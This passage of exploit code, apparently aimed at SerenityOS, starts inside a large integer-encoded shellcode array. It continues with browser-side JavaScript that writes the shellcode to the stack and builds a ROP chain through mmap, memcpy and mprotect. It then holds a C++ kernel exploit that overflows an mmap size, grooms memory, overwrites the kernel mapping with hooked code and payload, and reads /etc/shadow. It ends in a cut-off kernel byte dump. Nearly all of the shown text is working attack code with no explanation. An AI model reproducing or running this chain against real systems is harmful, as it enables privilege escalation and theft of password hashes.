250, 1, 262, 1, 300, 1, 340, 1, 382, 1, 414, 1, 406, 12, 1136, 13, 2801, 1879047925, 232, 5, 648, 6, 328, 10, 422, 11, 16, 21, 0, 3, 28048, 2, 8, 20, 17, 23, 1128, 17, 1072, 18, 56, 19, 8, 1879048187, 134217728, 1879048186, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 27796, 0, 0, 1174, 28064, 12345678, 28068, 542461511, 1919098947, 1932421492, 1128482560, 1193812026, 539579726, 841887793, 1191194670, 1126192462, 1953653536, 7286382, 28, 2, 262144, 0, 1827, 82, 0, 0, 36, 5111810, 262144, 0, 2326, 384, 1216, 611, 0, 0, 74, 4, 17039360, 50, 1796, 52480, 467712, 20992, 0, 14811648, 604045312, 13959948, 1107361792, 2684552455, 67108973, 0, 587542017, 1375731719, 16777216, 28967068, 262144, 78, 3277060, 3573809152, 3439329282, 1610612736, 0, 2113929216, 33554432, 6381921, 84225281, 7185411, 14811904, 771817472, 3343372, 86966272, 1839727365, 4093968384, 33554432, 571605460, 50331649, 210693, 31392256, 98322, 2516910848, 33554434, 521273801, 50331650, 87813, 30671360, 197650, 1745158912, 33554434, 3474063817, 50331649, 156422, 90964224, 1216, 611, 1812438017, 16803695, 24512103, 174522368, 3080192, 2617311232, 195080, 90177792, 2645, 18, 14523393, 1208549376, 1442840576, 1207959562, 16777216, 134222690, 657, 1040800257, 385875978, 16777216, 66716, 5638400, 171900928, 3145728, 1543569408, 3490316307, 16777218, 164824402, 7012352, 2617311232, 299, 25609, 656128, 6144, 324403456, 49482496, 1208025088, 638215, 5632, 144441600, 531, 2869248513, 301989897, 16777216, 91292, 7473408, 162267136, 0, 1140916224, 1560936467, 16777219, 153814843, 8388608, 2617311232, 395, 32780, 626176, 2560, 440271104, 18549504, 838926336, 595976, 4864, 228327680, 440, 235284737, 703, 17179649, 107791, 595456, 256, 10223872, 620826881, 51057422, 286137102, 268833281, 33554455, 235077684, 188418874, 423562041, 6460, 50344963, 990591502, 1057700107, 1573401, 3015680, 235084095, 188418874, 17894201, 406849042, 1655446, 285278208, 319694081, 453903115, 286741774, 1511425, 3408384, 188352515, 188287803, 402790719, 872611840, 973996800, 957037323, 1008287499, 67108889, 323420212, 188287803, 6146, 1056976389, 973996825, 956644107, 537816587, 100663307, 423559214, 188354051, 188287803, 101843217, 1117132864, 117440537, 423559214, 188352515, 188287803, 17895022, 406849042, 1655446, 19793920, 235084095, 188418874, 17894201, 406849042, 18432663, 150994963, 321978397, 391446866, 190384984, 2903, 1057041930, 973996825, 957037323, 302059787, 2518171654, 318839106, 772472832, 51986176, 990591502, 285948171, 1074139649, 423794456, 487325696, 286470400, 1476792833, 1460361483, 218103819, 423559214, 188354051, 188287803, 772669440, 51986176, 990591502, 537606411, 251658251, 321978414, 101843217, 1117198400, 25, 122, 4259843, 16842752, 855803, 16843009, 16777216, 771817472, 1934962478, 1634497125, 1278174318, 1634886249, 1936025970, 1651067951, 1660944451, 1597011058, 1918986355, 1663984741, 16806000, 83886080, 33882113, 1827, 83963395, 87951379, 319106313, 520684903, 86971141, 453335557, 805963139, 89789957, 17164311, 524933, 38404353, 196608, 81, 251330817, 16842765, 257, 256, 791555585, 1919251285, 1684955500, 1769231663, 1769236844, 771781477, 791555886, 1852990795, 1093626981, 18768, 779641192, 7368803, 1392508929, 1633907577, 1747872876, 512, 66816, 152437253, 604176384, 218305281, 201654574, 755041569, 1040975150, 90638597, 17112837, 772289073, 1023509253, 87752965, 90636675, 305201774, 33584645, 88736004, 33554819, 79299588, 328962, 50594818, 71041935, 66817, 50594818, 111049971, 79562356, 50660610, 69206932, 50398465, 72908012, 50660610, 70124436, 50398465, 847412462, 91620613, 84228609, 2013332770, 87820366, 17120544, 3374318879, 89740549, 33831712, 4160947461, 17054722, 2298696965, 486882429, 1716847974, 90578181, 33846357, 4144170245, 17058306, 2332229893, 1074295933, 84214276, 537102083, 17105156, 1484585219, 84214276, 1006864131, 17105156, 2893871875, 84018240, 49677061, 83952672, 2106196737, 84018264, 49677061, 83952686, 2106327809, 89666434, 17159950, 167911688, 83951872, 33882113, 1216, 16837635, 537069573, 50398692, 772302432, 537069573, 50398566, 134571616, 3172992373, 386078981, 537249800, 94267651, 1712784153, 89728517, 88672281, 184903462, 89656579, 1014432520, 91235845, 1712128779, 779617134, 90585349, 90680331, 184924729, 956655532, 2886403556, 90703877, 134600722, 201706248, 2433615335, 92474117, 84240156, 470136840, 738526526, 87427077, 134583817, 90601987, 403006476, 722208091, 87103493, 403004170, 4111074659, 91556101, 151337738, 2869560623, 1503594757, 99944453, 319149842, 151377928, 134557448, 42194917, 16842771, 16, 4294967295, 2080440321, 67374088, 392, 40, 0, 1827, 82, 2231897665, 84754946, 2248378179, 33915652, 3326198600, 3309422401, 263180, 12, 0, 1909, 4, 16, 4294967295, 2080440321, 67374088, 392, 12, 80, 2326, 1, 12, 80, 2327, 1, 28, 80, 2328, 19, 2231897665, 84755458, 67945805, 4, 36, 80, 2347, 128, 2231897665, 84754946, 2198046274, 3279421956, 3309422145, 263180, 28, 80, 2475, 18, 2231897665, 84756226, 67945801, 4, 36, 80, 2493, 22, 2231897665, 84754946, 2248378184, 1103513604, 214254023, 1028, 40, 80, 2515, 107, 2231897665, 84754946, 2248378179, 33915652, 3326198625, 3309422401, 263180, 32, 80, 2622, 23, 2231897665, 84756226, 1275298625, 214254019, 1028, 28, 80, 2645, 18, 2231897665, 84756226, 67945801, 4, 36, 80, 2663, 47, 2231897665, 84754946, 2198046274, 1103324932, 214254022, 1028, 48, 80, 1216, 611, 68676, 33886279, 272892021, 2088043015, 1963066896, 51398520, 1282700546, 1886716687, 6, 12, 80, 1909, 4, 1635021663, 771781746, 1934962478, 1634497125, 1278174318, 1634886249, 1936025970, 1651067951, 1919102787, 1935618164, 1701994856, 1885548132, 1313276016, 725819477, 540487979, 841887793, 757084206, 1853191277, 1701264741, 1769104750, 1831673955, 1751347809, 1852141629, 1836411252, 544174704, 757098285, 757084519, 757101391, 1029993587, 841689955, 1714233441, 543385968, 1819567661, 1869426035, 1030514020, 1953066601, 762077545, 1667594341, 1667640608, 1701015151, 544437360, 1953719853, 762012513, 1953460848, 1869898597, 1953705330, 1735290738, 1852189984, 2019896687, 1953523043, 1936617321, 1110388224, 1684826485, 1683971840, 1751084915, 1818521185, 1600061541, 1667331187, 1751342955, 1969708907, 6582881, 1870032489, 1664902507, 544366952, 1936617315, 539765364, 1735290732, 1936618784, 1701734249, 1852383332, 1929395828, 1701606004, 1516175470, 1699427918, 1818586738, 1937330999, 1819042147, 1986947382, 1231383407, 1835223888, 1315587397, 945762387, 1668183366, 1852795252, 1415533637, 1761632048, 1802466926, 1869364325, 1965057902, 1734964078, 543450478, 745827945, 1953392928, 1516175422, 1735355443, 6507344, 911104607, 1852990795, 1396141157, 1633907577, 1765174380, 1802466926, 1349077349, 1162177910, 810765930, 1967536223, 1769235310, 1413836399, 1597002847, 6238548, 1953718111, 1600873313, 1600874595, 1818845542, 1668246623, 1593863265, 1261850202, 1701737061, 2035496812, 1818321779, 1852388972, 1701539702, 1397641289, 875650864, 1834959699, 1601200493, 1634886000, 1162179437, 1397647941, 1178099504, 1952673397, 1164865385, 1627414356, 1601073006, 1634038371, 1593861492, 1261850202, 1701737061, 2035496812, 1818321779, 1852388972, 1701539702, 1397641289, 875650864, 1868514131, 1601070448, 1634886000, 1162179437, 1397647941, 1178099504, 1952673397, 1164865385, 1828740948, 7235937, 1870032489, 1262249323, 1701737061, 1396324972, 1633907577, 976907372, 1834959699, 1601200493, 1634886000, 1042969453, 1634038272, 1852375140, 1701539702, 1919241020, 980182382, 1937331002, 1819042147, 1129527866, 1701867359, 1634754414, 1936548210, 1593851434, 1635021663, 1667197795, 1717529448, 7104865, 1852141679, 791555584, 1919251285, 1684955500, 1769231663, 1769236844, 1747940197, 1663989857, 1828745328, 1885564261, 1650720889, 1953853543, 7500915, 911104607, 1852990795, 1396141157, 1633907577, 1765174380, 1802466926, 1768769893, 1315587397, 945762387, 1668183366, 1852795252, 1415533637, 1761632048, 1802466926, 1852390501, 1981820020, 711223663, 1869357100, 1965057902, 1734964078, 543450478, 1047817833, 1919251200, 1953066597, 1835884409, 2885709921, 2969567241, 3003121673, 3137339401, 9, 0, 50331648, 100663306, 587202570, 704643082, 10, 0, 1056964608, 1140850698, 1191182346, 1375731722, 10, 0, 1442840576, 1526726666, 1560281098, 1694498826, 10, 0, 369098752, 2516582409, 3221225482, 587202564, 7, 0, 0, 0, 0, 0, 0, 0, 212, 0, 65539, 0, 232, 0, 131075, 0, 328, 0, 196611, 0, 648, 0, 262147, 0, 1072, 0, 327683, 0, 1128, 0, 393219, 0, 1136, 0, 458755, 0, 1152, 0, 524291, 0, 1184, 0, 589827, 0, 1216, 0, 655363, 0, 2801, 0, 720899, 0, 2816, 0, 786435, 0, 23680, 0, 851971, 0, 27780, 0, 917507, 0, 27788, 0, 983043, 0, 27796, 0, 1048579, 0, 28028, 0, 1114115, 0, 28048, 0, 1179651, 0, 28064, 0, 1245187, 0, 28076, 0, 1310723, 0, 0, 0, 1376259, 0, 0, 0, 1441795, 0, 0, 0, 1507331, 0, 0, 0, 1572867, 0, 0, 0, 1638403, 0, 0, 0, 1703939, 0, 0, 0, 1769475, 0, 0, 0, 1835011, 1, 0, 0, 4293984260, 12, 27780, 0, 917505, 26, 27788, 0, 983041, 0, 23680, 0, 851969, 40, 1920, 0, 655362, 42, 2000, 0, 655362, 61, 2080, 0, 655362, 83, 28080, 1, 1310721, 95, 28084, 4, 1310721, 106, 2256, 0, 655362, 118, 28088, 24, 1310721, 1, 0, 0, 4293984260, 127, 27784, 0, 917505, 140, 23680, 0, 851969, 154, 2720, 0, 655362, 176, 0, 0, 4293984260, 184, 3200, 20480, 786433, 197, 3008, 185, 786433, 214, 0, 0, 4293984260, 0, 0, 0, 4293984260, 230, 27796, 0, 1048577, 239, 28048, 0, 1179649, 261, 2327, 1, 655890, 284, 2322, 0, 655890, 306, 28072, 4, 1245201, 324, 2645, 18, 655378, 334, 2493, 22, 655378, 341, 28076, 0, 1245713, 353, 27792, 0, 983569, 366, 0, 0, 34, 381, 28064, 4, 1245713, 394, 28068, 4, 1245201, 398, 2326, 1, 655378, 415, 2318, 0, 655890, 437, 1136, 0, 458770, 443, 2347, 128, 655378, 457, 2475, 18, 655378, 469, 0, 0, 34, 493, 0, 0, 32, 579, 1827, 82, 655378, 519, 2622, 23, 655378, 524, 1909, 0, 655890, 546, 0, 0, 32, 574, 28076, 0, 1310736, 586, 1216, 611, 655378, 591, 2663, 47, 655378, 601, 2801, 0, 720914, 607, 28076, 0, 1245200, 614, 28112, 0, 1310736, 619, 2328, 19, 655378, 626, 2515, 107, 655378, 631, 0, 0, 18, 646, 0, 0, 34, 1953653504, 1718973555, 6499942, 1413701471, 1281315407, 1599361865, 1600061535, 1380930628, 1397312607, 6250324, 1701995876, 1953720679, 1952412261, 1818451821, 1936027247, 1683971840, 1818713967, 1818321519, 1869898847, 1633645426, 1660975221, 1819307375, 1684370533, 1677734446, 1601335156, 779641961, 1919287345, 1600482657, 1835890020, 1651441785, 1952671082, 1593847854, 1330922335, 1313169234, 6250308, 1380343647, 1598377281, 1598312005, 1600061535, 1734307684, 1633841004, 1952669548, 1601401455, 7894369, 779641192, 7368803, 944527967, 1852990827, 1852400223, 1280990976, 1634742577, 1634692217, 1768054628, 1919090798, 1935618164, 1701994856, 1885548132, 1147076720, 1296125529, 1593852745, 1112493127, 1331645505, 1163085382, 1096048468, 1598377026, 1935630080, 1801675124, 1802003295, 1767990879, 1869373292, 7102819, 947412831, 1701260854, 1668308852, 1969779807, 1680763758, 1600061545, 1667331187, 1751342955, 1969708907, 6582881, 1885823588, 1953723509, 1701642354, 2037408621, 1415536384, 1163871053, 1600078926, 1147100928, 1599229780, 1598312005, 1600061535, 1600223331, 1634625894, 1702521196, 1683971840, 1751084915, 1818521185, 1633747045, 1600061537, 1667331187, 1751342955, 1634099051, 1593863273, 909670495, 1952802606, 1600352351, 1853188212, 2019831403, 1852399360, 1929409641, 1852142181, 1601795177, 1885433197, 1869504768, 1919115118, 1702125925, 1683971840, 1734701669, 1702130537, 1919311730, 1600482657, 1868983913, 1414094592, 1701994317, 1953720679, 1297379941, 1852795971, 1650545765, 1912628588, 6578533, 947412831, 1701260854, 1668308852, 1969779807, 1647209326, 1230962808, 1683967316, 1734701669, 1702130537, 1129141362, 1701736300, 1818386772, 1600061541, 1601401698, 1918989427, 1634533492, 1593863785, 1869362010, 1665880167, 1768316672, 1593862510, 1952539749, 1700724833, 1929405550, 1701606004, 1886322798, 1627418213, 1916035954, 1868852833, 1969381229, 1600061542, 1768383858, 1919251571, 1634887263, 1767859565, 7300718, 2037591552, 1650553965, 1953705472, 1650553970, 1752378880, 1953657971, 771777121, 1702129257, 771780722, 779447911, 1752392040, 2036608512, 1836675950, 2036608512, 1920234350, 1701981696, 2036608620, 1915617390, 1882090597, 771781740, 1953066601, 1819291136, 1869033076, 1949171828, 7632997, 1852401198, 1915617385, 1952539759, 1697513569, 1919311720, 6647137, 1869898542, 771781490, 1919906916, 1680736371, 1835101817, 771777385, 779382631, 7629936, 1952539694, 1647181921, 771781491, 1835888483, 7630437, 1650811950, 1633642357, 1735287154, 771781477, 1969382756, 1852399463, 771780454, 1969382756, 1650548583, 1986359906, 1701064192, 1600615778, 1701734764, 1701064192, 1600615778, 1835102822, 1680736357, 1735746149, 1920234335, 1701064192, 1600615778, 1735287154, 29541, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 27, 1, 2, 212, 212, 19, 0, 0, 1, 0, 35, 1879048182, 2, 232, 232, 96, 3, 0, 4, 4, 45, 11, 2, 328, 328, 320, 4, 1, 4, 16, 53, 3, 2, 648, 648, 422, 0, 0, 1, 0, 61, 9, 2, 1072, 1072, 56, 3, 0, 4, 8, 70, 9, 66, 1128, 1128, 8, 3, 18, 4, 8, 79, 1, 6, 1136, 1136, 13, 0, 0, 1, 0, 74, 1, 6, 1152, 1152, 32, 0, 0, 16, 4, 85, 1, 6, 1184, 1184, 24, 0, 0, 8, 8, 94, 1, 6, 1216, 1216, 1585, 0, 0, 16, 0, 100, 1, 6, 2801, 2801, 8, 0, 0, 1, 0, 106, 1, 2, 2816, 2816, 20864, 0, 0, 32, 0, 114, 1, 2, 23680, 23680, 4, 0, 0, 4, 0, 124, 1, 3, 27780, 23684, 8, 0, 0, 4, 0, 131, 1, 3, 27788, 23692, 8, 0, 0, 4, 0, 138, 6, 3, 27796, 23700, 232, 4, 0, 4, 8, 89, 1, 3, 28028, 23932, 20, 0, 0, 4, 4, 147, 1, 3, 28048, 23952, 16, 0, 0, 4, 4, 156, 1, 3, 28064, 23968, 12, 0, 0, 4, 0, 162, 8, 3, 28076, 23980, 36, 0, 0, 4, 0, 167, 1, 48, 0, 23980, 44, 0, 0, 1, 1, 176, 1, 0, 0, 24024, 72, 0, 0, 1, 0, 191, 1, 0, 0, 24096, 524, 0, 0, 1, 0, 203, 1, 0, 0, 24620, 372, 0, 0, 1, 0, 217, 1, 0, 0, 24992, 716, 0, 0, 1, 0, 229, 1, 0, 0, 25708, 496, 0, 0, 4, 0, 242, 1, 48, 0, 26204, 875, 0, 0, 1, 1, 253, 1, 0, 0, 27079, 120, 0, 0, 1, 0, 1, 2, 0, 0, 27200, 1312, 30, 51, 4, 16, 9, 3, 0, 0, 28512, 668, 0, 0, 1, 0, 17, 3, 0, 0, 29180, 267, 0, 0, 1, 0];
// write our shellcode to a know location (start of the stack)
const shellcode_addr = stack_addr;
for (let i = 0; i < shellcode.length; i++) {
write(shellcode_addr + i * 4, shellcode[i]);
}
log("shellcode_addr: 0x" + shellcode_addr.toString(16));
// rop gadgets
// 0x000462f3: pop esi; pop edi; pop ebp; ret;
// 0x0007bda9: add esp, 0x10; pop esi; pop edi; pop ebp; ret;
pop7_addr = libjs_addr + 0x0007bda9;
pop3_adr = libjs_addr + 0x000462f3;
log("pop7_addr: 0x" + pop7_addr.toString(16));
log("pop3_adr: 0x" + pop3_adr.toString(16));
// 1. map region at 0x9d000000
// 2. memcpy our shellcode there
// 3. make it executable
// 4. jump there
write(stack_ret, mmap_addr);
const rop = [
pop7_addr, //ret
0x9d000000,
0x8000,
3,
0x32,
0,
0,
0xdeadbeef,
memcpy_addr,
pop3_adr, // ret
0x9d000000,
shellcode_addr,
0x8000,
mprotect_addr,
pop3_adr, // ret
0x9d000000,
0x8000,
5,
0x9d000000,
];
for (let i = 0; i < rop.length; i++) {
write(stack_ret + 4 * (2 + i), rop[i]);
}
// finish to trigger the rop chain
</script>
</body>
</html>
/*
hax_kern.h generated from gdb with `dump memory kern.bin 0xc0114000 0xc0119000` then `xxd -i kern.bin > hax_kern.h`
payload.h generated with:
python -c 'from pwn import *; write("payload.bin", asm(read("payload.asm").decode().replace("; ", "// ")))
xxd -i payload.bin > payload.h
*/
#include "hax_kern.h"
#include "payload.h"
#include <Kernel/API/Syscall.h>
// from kernel.map
#define FLUSH_TBL_LOCAL_ADDR 0xc0118e70
#define AT_FDCWD -100
#define O_RDONLY (1 << 0)
#define O_WRONLY (1 << 1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define PROT_NONE 0x0
#define MAP_FILE 0x00
#define MAP_SHARED 0x01
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_STACK 0x40
#define MAP_NORESERVE 0x80
#define NULL nullptr
typedef ssize_t off_t;
extern "C" {
void __stack_chk_fail();
void __stack_chk_fail()
{
}
void __stack_chk_fail_local();
void __stack_chk_fail_local()
{
}
u32 aaa = 12345678;
extern u32 __stack_chk_guard;
u32 __stack_chk_guard = (u32)&aaa;
size_t strlen(const char* str);
size_t strlen(const char* str)
{
size_t len = 0;
while (*(str++))
++len;
return len;
}
void* serenity_mmap(void* addr, size_t size, int prot, int flags, int fd, off_t offset, size_t alignment, const char* name);
void* serenity_mmap(void* addr, size_t size, int prot, int flags, int fd, off_t offset, size_t alignment, const char* name)
{
Syscall::SC_mmap_params params { (uintptr_t)addr, size, alignment, prot, flags, fd, offset, { name, name ? strlen(name) : 0 } };
return (void*)syscall(SC_mmap, &params);
}
int anon_create(size_t size, int options);
int anon_create(size_t size, int options)
{
return syscall(SC_anon_create, size, options);
}
void* memcpy(void* dest_ptr, const void* src_ptr, size_t n);
void* memcpy(void* dest_ptr, const void* src_ptr, size_t n)
{
void* original_dest = dest_ptr;
asm volatile(
"rep movsb"
: "+D"(dest_ptr), "+S"(src_ptr), "+c"(n)::"memory");
return original_dest;
}
int open(const char* path, int options, u16 mode);
int open(const char* path, int options, u16 mode)
{
size_t path_length = strlen(path);
Syscall::SC_open_params params { AT_FDCWD, { path, path_length }, options, mode };
return syscall(SC_open, &params);
}
ssize_t read(int fd, void* buf, size_t count);
ssize_t read(int fd, void* buf, size_t count)
{
return syscall(SC_read, fd, buf, count);
}
int dbgputstr(const char* characters, size_t len);
int dbgputstr(const char* characters, size_t len)
{
return syscall(SC_dbgputstr, characters, len);
}
}
void log(const char* msg);
void log(const char* msg)
{
dbgputstr(msg, strlen(msg));
}
int main()
{
log("starting hax\n");
// get the address of the first availible range
void* first = serenity_mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0x1000, NULL);
// size of the final mmap that will overwrite the kernel
size_t overwrite_size = 0x5000000;
// how much of the kernel region will be overwritten (from 0xc0000000)
size_t overflow_amount = 0x119000;
// address right after the tlb flush happens
size_t flush_tlb_local_addr = FLUSH_TBL_LOCAL_ADDR + 25 - 0xc0000000;
// offset from 0xc0000000 to start replacing kernel with the original
size_t kern_start_addr = 0x114000;
// offset from 0xc0000000 where shellcode is
size_t payload_addr = 0x1000;
// locations for copying data in the AnonymousFile
size_t flush_tlb_local_offset = overflow_amount - flush_tlb_local_addr;
size_t kern_start_offset = overflow_amount - kern_start_addr;
size_t payload_offset = overflow_amount - payload_addr;
// create the AnonymousFile
int fd = anon_create(overwrite_size, 0);
void* mapped_file = serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL);
//mov eax, 0xc0001000
//jmp eax
u8 shellcode[] = { 0xb8, 0x00, 0x10, 0x00, 0xc0, 0xff, 0xe0 };
// // int 3
// unsigned char payload_bin[] = {
// 0xcc
// };
// unsigned int payload_bin_len = 1;
// copy the original kernel, the flush_tlb_local hook, and the shellcode to the correct offsets
memcpy((void*)((size_t)mapped_file + overwrite_size - kern_start_offset), kern_bin, kern_bin_len);
memcpy((void*)((size_t)mapped_file + overwrite_size - flush_tlb_local_offset), shellcode, sizeof(shellcode));
memcpy((void*)((size_t)mapped_file + overwrite_size - payload_offset), payload_bin, payload_bin_len);
log("injecting mapping\n");
// trigger the overflow and invalid availible_range to be added
serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xfffff000 - 0x1000, NULL);
void* ptr = NULL;
log("grooming regions\n");
// make sure that there are no availible regions that are left that can fit our final size of 0x5000000
size_t i = (size_t)first;
while (i < 0xb0000000) {
i += 0x4000000;
ptr = serenity_mmap((void*)i, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE | MAP_FIXED, -1, 0, 0x1000, NULL);
}
// create a chunk that will take up the remaining space to align our final region correctly
size_t end = 0xc0000000 - 0x3000 - (size_t)ptr - overwrite_size + overflow_amount;
log("filling up to last region to correct location\n");
ptr = serenity_mmap(NULL, end, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0, 0x1000, NULL);
// make the exploit a bit more stable by make sure everything is loaded already
char buff[200] = {};
open("/ggg", O_RDONLY, 0);
read(-1, buff, 199);
// overwrite the kernel region
log("overwritting kernel mapping\n");
serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);
int fds = open("/etc/shadow", O_RDONLY, 0);
read(fds, buff, 199);
log("/etc/shadow: ");
log(buff);
log("\n");
while (true) { }
return 0;
}
const unsigned char kern_bin[] = {
0x63, 0xb0, 0x35, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x10, 0x2d, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
